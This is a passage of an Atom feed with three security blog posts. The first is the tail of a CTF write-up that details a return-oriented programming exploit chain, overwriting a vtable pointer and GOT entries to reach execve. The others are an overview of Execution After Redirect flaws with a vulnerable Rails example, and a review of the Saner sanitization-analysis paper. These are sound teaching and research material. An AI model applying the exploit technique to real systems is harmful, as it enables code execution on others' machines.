/&gt;&amp;nbsp; 40. POP_RET&lt;br /&gt;&amp;nbsp; 44. &quot;\xe6\x9d\x04\x08&quot;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;The first 36 bytes are conveniently copied into the bbs, and are used through the rest of the return-oriented program. When the buffer is overflowed, (44) ends up getting written over the virtual table pointer for the C++ object. It then resolves to (24), which resolves to (28). The program then calls LEAVE_RET, which moves ebp (currently pointing at 36) back to esp, allowing us to bypass the inconvenient values on the stack which were copied into the bss. &quot;BBBB&quot; is popped into ebp and we return to the POP_RET instruction (40). This POP_RET allows us to skip over the fake virtual table pointer on the stack. Then the following happens:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;nbsp; 48. POP_RET&lt;br /&gt;&amp;nbsp; 52. &quot;\xe6\x9d\x04\x08&quot;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;This pops an address (52) into ebp and returns again. We did this so that ebp would point to writeable memory, as functions sometime expect it to do that. After this, we copy atoi's address to get ready to read it:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;nbsp; 56. &quot;\xec\x85\x04\x08&quot;&lt;br /&gt;&amp;nbsp; 60. POP3_RET&lt;br /&gt;&amp;nbsp; 64. &quot;\xd4\x9d\x04\x08&quot;&lt;br /&gt;&amp;nbsp; 68. &quot;\xee\x9d\x04\x08&quot;&lt;br /&gt;&amp;nbsp; 72. &quot;\x58\x9d\x04\x08&quot;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;(56) is the address of sprintf, which we will use to overwrite memory addresses. The destination, (64), lies in the dtors section. We chose arbitrarily for some storage space. The format string, (68), is a pointer to (32) on the bss, and copies 4 bytes. Finally, the argument, (72), is a pointer to atoi's entry in the GOT. We set sprintf's return address (60) to POP3_RET, which cleans the arguments off the stack. After this, we have atoi's address at 0x08049dd4. Now we do a bit of cleanup for future actions:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;nbsp; 76. &quot;\xec\x85\x04\x08&quot;&lt;br /&gt;&amp;nbsp; 80. POP3_RET&lt;br /&gt;&amp;nbsp; 84. &quot;\x3c\x9d\x04\x08&quot;&lt;br /&gt;&amp;nbsp; 88. &quot;\xee\x9d\x04\x08&quot;&lt;br /&gt;&amp;nbsp; 92. &quot;\xda\x9d\x04\x08&quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; 96. &quot;\xec\x85\x04\x08&quot;&lt;br /&gt;&amp;nbsp; 100. POP3_RET&lt;br /&gt;&amp;nbsp; 104. &quot;\x64\x9d\x04\x08&quot;&lt;br /&gt;&amp;nbsp; 108. &quot;\xee\x9d\x04\x08&quot;&lt;br /&gt;&amp;nbsp; 112. &quot;\xda\x9d\x04\x08&quot;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;These two blocks use sprintf to overwrite the GOT entries to sendto (84) and bzero (104). Both of them are overwritten with the value of POP3_RET (12) in bss, which has the result of turning both sendto and bzero into a pop,pop,pop,ret gadget. Then, we move on:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;nbsp; 116. POP_RET&lt;br /&gt;&amp;nbsp; 120. &quot;\xe0\x9d\x04\x08&quot; # 0x8049dec -- where we wrote - 1C&lt;br /&gt;&amp;nbsp; 124. &quot;\x49\x89\x04\x08&quot; # get atoi address into eax&lt;br /&gt;&amp;nbsp; 128. JUST_RET&lt;br /&gt;&amp;nbsp; 132. JUST_RET&lt;br /&gt;&amp;nbsp; 136. JUST_RET&lt;br /&gt;&amp;nbsp; 140. JUST_RET&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;(116) pops (120) into ebp, which is (64), the address where we copied atoi's address, plus 0x1C. It then returns to (124), which is code gadget (6). This has the effect of moving atoi's address into eax. That gadget ends up calling sendto, which is now POP3_RET, which ends up cleaning up our stack (including the unwanted return address that the call instruction pushes) and returning. We then return to:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;nbsp; for i in range(5883):&lt;br /&gt;&amp;nbsp; &amp;nbsp;  144. &quot;\x0f\x89\x04\x08&quot;&lt;br /&gt;&amp;nbsp; &amp;nbsp;  148. &quot;AAAA&quot;&lt;br /&gt;&amp;nbsp; &amp;nbsp;  152. &quot;AAAA&quot;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;This is an unrolled loop that essentially increments eax by 8 using code gadget (7), which is located at (144). Since that code gadget ends in a call to bzero, which is now POP3_RET, which pops off the return address and (148) and (152) and returns back to the code gadget. This runs 5883 times, which is the distance between atoi and the execve call (47064) divided by 8. Finally, we return to code gadget 8:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;nbsp; 156. &quot;\x9f\x87\x04\x08&quot;&lt;br /&gt;&amp;nbsp; 160. &quot;\xf2\x9d\x04\x08&quot;&lt;br /&gt;&amp;nbsp; 164. &quot;\xf2\x9d\x04\x08&quot;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;(160) and (164) point to zero-filled space in the bss for the args and env of the execve call. The program name, unfortunately, is co-opted by the call instruction pushing the return value. Luckily, that return value points to a &quot;string&quot; in the code section and we can create the appropriate file.&lt;br /&gt;&lt;br /&gt;And, after all that horror, we're done!&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1851819418041948513-1177670600689586159?l=networkechoes.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content>
		<author>
			<name>Gianluca Stringhini</name>
			<email>noreply@blogger.com</email>
			<uri>http://networkechoes.blogspot.com/search/label/ctf</uri>
		</author>
		<source>
			<title type="html">Echoes of the network</title>
			<subtitle type="html">A blog about network and system security.</subtitle>
			<link rel="self" href="http://networkechoes.blogspot.com/feeds/posts/default/-/ctf"/>
			<id>tag:blogger.com,1999:blog-1851819418041948513</id>
			<updated>2012-05-14T05:15:11+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Overview of Execution After Redirect Web Application Vulnerabilities</title>
		<link href="http://adamdoupe.com/overview-of-execution-after-redirect-web-appl"/>
		<id>http://adamdoupe.com/overview-of-execution-after-redirect-web-appl</id>
		<updated>2011-04-21T03:23:00+00:00</updated>
		<content type="html">&lt;p&gt;
	&lt;p&gt;Hi all, I&amp;rsquo;m here to talk about a little known web vulnerability that
&lt;a href=&quot;http://www.bryceboe.com/2010/12/09/ucsbs-international-capture-the-flag-competition-2010-challenge-6-fear-the-ear/&quot;&gt;Bryce Boe already touched on&lt;/a&gt;. Execution After Redirects are logic flaws in web
applications that can lead to &lt;a href=&quot;https://www.owasp.org/index.php/Information_Leak_(information_disclosure)&quot;&gt;Information Disclosure&lt;/a&gt;
and &lt;a href=&quot;https://www.owasp.org/index.php/Broken_Access_Control&quot;&gt;Broken Access Controls&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;What&amp;rsquo;s an EAR?&lt;/h2&gt;

&lt;p&gt;Well, an Execution After Redirect (EAR) flaw is when a developer
causes an HTTP redirect to occur, typically via a web framework. The developer assumes
that execution stops after the redirect, however, execution
continues.&lt;/p&gt;

&lt;p&gt;Let&amp;rsquo;s look at a Ruby on Rails example (names have been changed to hide
the guilty):&lt;/p&gt;

&lt;div class=&quot;CodeRay&quot;&gt;
  &lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;class&quot;&gt;TopicsController&lt;/span&gt; &amp;lt; &lt;span class=&quot;constant&quot;&gt;ApplicationController&lt;/span&gt;
  &lt;span class=&quot;keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;function&quot;&gt;update&lt;/span&gt;
    &lt;span class=&quot;instance-variable&quot;&gt;@topic&lt;/span&gt; = &lt;span class=&quot;constant&quot;&gt;Topic&lt;/span&gt;.find(params[&lt;span class=&quot;symbol&quot;&gt;:id&lt;/span&gt;])
    &lt;span class=&quot;keyword&quot;&gt;unless&lt;/span&gt; current_user.is_admin?
      redirect_to &lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;keyword&quot;&gt;end&lt;/span&gt;
    &lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;instance-variable&quot;&gt;@topic&lt;/span&gt;.update_attributes(params[&lt;span class=&quot;symbol&quot;&gt;:topic&lt;/span&gt;])
      flash[&lt;span class=&quot;symbol&quot;&gt;:notice&lt;/span&gt;] = &lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;Topic updated!&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;keyword&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;keyword&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;keyword&quot;&gt;end&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;It appears that if the current user is not an admin, they are
redirected to &amp;ldquo;/&amp;rdquo;, the web site root. In fact, if you access the
update controller using a browser while not an admin, it will redirect
you to the web site root like expected. However, if an attacker who is
not an admin makes a request with topic parameters, she will be able
to update your topic without being an admin!&lt;/p&gt;

&lt;h2&gt;How do I fix it?&lt;/h2&gt;

&lt;p&gt;The fix is pretty simple, &lt;em&gt;always&lt;/em&gt; &lt;code&gt;return&lt;/code&gt; after a redirect!&lt;/p&gt;

&lt;p&gt;EARs can be more complicated. For example, there&amp;rsquo;s a controller that
calls a method that calls a redirect. The real fix is to know where
your redirects are, and what they&amp;rsquo;re for, especially if you use a
redirect during authentication.&lt;/p&gt;

&lt;h2&gt;What else is vulnerable?&lt;/h2&gt;

&lt;p&gt;Web application frameworks differ on if they stop execution after a
redirect. Check your web framework&amp;rsquo;s documentation to see if the
redirect method stops execution.&lt;/p&gt;

&lt;h2&gt;What am I doing about it?&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;http://bryceboe.com&quot;&gt;Bryce Boe&lt;/a&gt; and I are writing a paper studying this problem
in depth. However, since I am alerting developers to potential EARs in
their code, I wanted to have this informational blog post giving an
overview. In addition, I developed a tool to
&lt;a href=&quot;https://github.com/adamdoupe/find_ear_rails&quot;&gt;staticially detect EARs in Ruby on Rails&lt;/a&gt;.
Look for more blog posts in the future about the tool.&lt;/p&gt;
	
&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://adamdoupe.com/overview-of-execution-after-redirect-web-appl&quot;&gt;Permalink&lt;/a&gt; 

	| &lt;a href=&quot;http://adamdoupe.com/overview-of-execution-after-redirect-web-appl#comment&quot;&gt;Leave a comment&amp;nbsp;&amp;nbsp;&amp;raquo;&lt;/a&gt;

&lt;/p&gt;</content>
		<author>
			<name>Adam Doupé</name>
			<uri>http://adamdoupe.com</uri>
		</author>
		<source>
			<title type="html">./adamdoupe 2&amp;gt; /dev/null &amp;gt; adamdoupe.com</title>
			<subtitle type="html">Most recent posts at ./adamdoupe 2&gt; /dev/null &gt; adamdoupe.com</subtitle>
			<link rel="self" href="http://adamdoupe.com/rss.xml"/>
			<id>http://adamdoupe.com/rss.xml</id>
			<updated>2012-03-23T22:05:04+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Paper Review: Saner: Composing Static and Dynamic Analysis to Validate Sanitization in Web Applications.</title>
		<link href="http://adamdoupe.com/paper-review-saner-composing-static-and-dynam"/>
		<id>http://adamdoupe.com/paper-review-saner-composing-static-and-dynam</id>
		<updated>2011-01-27T18:08:00+00:00</updated>
		<content type="html">&lt;p&gt;
	&lt;h1&gt;What is this?&lt;/h1&gt;

&lt;p&gt;In an effort to improve my writing and analysis skills, I&amp;rsquo;m going to
review papers using less than 500 words. This is my first attempt.&lt;/p&gt;

&lt;h1&gt;Overview&lt;/h1&gt;

&lt;p&gt;&lt;a href=&quot;http://iseclab.org/papers/oakland-saner.pdf&quot; title=&quot;Saner: Composing static and dynamic analysis to validate sanitization in web applications&quot;&gt;Saner: Composing Static and Dynamic Analysis to Validate Sanitization in Web Applications&lt;/a&gt;
is a paper written by &lt;a href=&quot;http://www.iseclab.org/people/dbalzarotti/&quot; title=&quot;Davide Balzarotti&quot;&gt;Davide Balzarotti&lt;/a&gt; et. al., and was
published at the IEEE Symposium on Security and Privacy in 2008.&lt;/p&gt;

&lt;p&gt;Saner attempts to solve the problem of verifying the correctness of
sanitization functions. Previous work on analyzing web applications
for vulnerabilities assume that built-in sanitization functions
completely protect the application from vulnerabilities. This
assumption is typically extended to custom sanitization functions
(regular expressions, string replacements, etc.)&lt;/p&gt;

&lt;p&gt;Proper analysis of sanitization functions would enable a tool to be
more precise about the vulnerabilities that it discovers. It can also
be used to analyze a language&amp;rsquo;s built-in sanitization functions.&lt;/p&gt;

&lt;p&gt;Saner utilizes static and dynamic approaches to analyze sanitization
functions.&lt;/p&gt;

&lt;p&gt;The static part was built by extending &lt;a href=&quot;http://www.iseclab.net/papers/pixy.pdf&quot; title=&quot;Pixy: A static analysis tool for detecting web application vulnerabilities&quot;&gt;Pixy&lt;/a&gt; to keep track of the
string values that each variable can hold. Saner can see if a variable
can be used as output and if it is used in the output. However, the
method used to keep track of the string values is an
over-approximation, which might produce false-positives (but not
false-negatives).&lt;/p&gt;

&lt;p&gt;A dynamic approach is used to reduce the number of false-positives by
generating inputs and seeing if those inputs trigger a vulnerability.
In this way, Saner can present all the verified vulnerabilities, but
if the user wishes, also present all the possible vulnerabilities so
the user can investigate.&lt;/p&gt;

&lt;h1&gt;Thoughts&lt;/h1&gt;

&lt;h2&gt;Possible Problems&lt;/h2&gt;

&lt;p&gt;Saner inherits the same limitations as Pixy, namely it does not
support PHP&amp;rsquo;s eval function and aliased array elements.&lt;/p&gt;

&lt;h2&gt;Future Work&lt;/h2&gt;

&lt;h3&gt;Context-aware&lt;/h3&gt;

&lt;p&gt;An extension to this (and other static web analyzers) would be to use
the context of a variables output in the HTML page. For instance,
variables that output to the headers of an HTTP response are
vulnerable to &lt;a href=&quot;http://www.owasp.org/index.php/HTTP_Response_Splitting&quot; title=&quot;HTTP Response Splitting&quot;&gt;HTTP Response Splitting&lt;/a&gt; and
need to disallow &amp;lsquo;\r&amp;rsquo; and &amp;lsquo;\n&amp;rsquo;, while these characters are safe when
output in the HTML response. Another example is a variable that is
output after a starting script tag but before the ending tag to
customize the JavaScript sent to the user. Here&amp;rsquo;s a simple example of
this:&lt;/p&gt;

&lt;div class=&quot;CodeRay&quot;&gt;
  &lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&amp;lt;script&amp;gt;
var userName = &amp;quot;&amp;lt;?php echo $userName; ?&amp;gt;&amp;quot;;
&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;In this case, restricting only &amp;lsquo;&amp;lt;&amp;rsquo; and &amp;lsquo;&gt;&amp;rsquo; will not work.  The idea of context can be extended to attributes of HTML tags.&lt;/p&gt;

&lt;h3&gt;Database-aware&lt;/h3&gt;

&lt;p&gt;Another problem is how to treat variables from the database: are they sanitized or not? A static analyzer that is able to properly model and taint the flow of data into and out of the database would be very cool (and if you know of someone who&amp;rsquo;s done this, let me know).&lt;/p&gt;
	
&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://adamdoupe.com/paper-review-saner-composing-static-and-dynam&quot;&gt;Permalink&lt;/a&gt; 

	| &lt;a href=&quot;http://adamdoupe.com/paper-review-saner-composing-static-and-dynam#comment&quot;&gt;Leave a comment&amp;nbsp;&amp;nbsp;&amp;raquo;&lt;/a&gt;

&lt;/p&gt;</content>
		<author>
			<name>Adam Doupé</name>
			<uri>http://adamdoupe.com</uri>
		</author>
		<source>
			<title type="html">./adamdoupe 2&amp;gt; /dev/null &amp;gt; adamdoupe.com</title>
			<subtitle type="html">Most recent posts at ./adamdoupe 2&gt; /dev/null &gt; adamdoupe.com</subtitle>
			<link rel="self" href="http://adamdoupe.com/rss.xml"/>
			<id>http://adamdoupe.com/rss.xml</id>
			<updated>2012-03-23T22:05:04+00:00</updated>
		</source>
	</entry>

</feed>

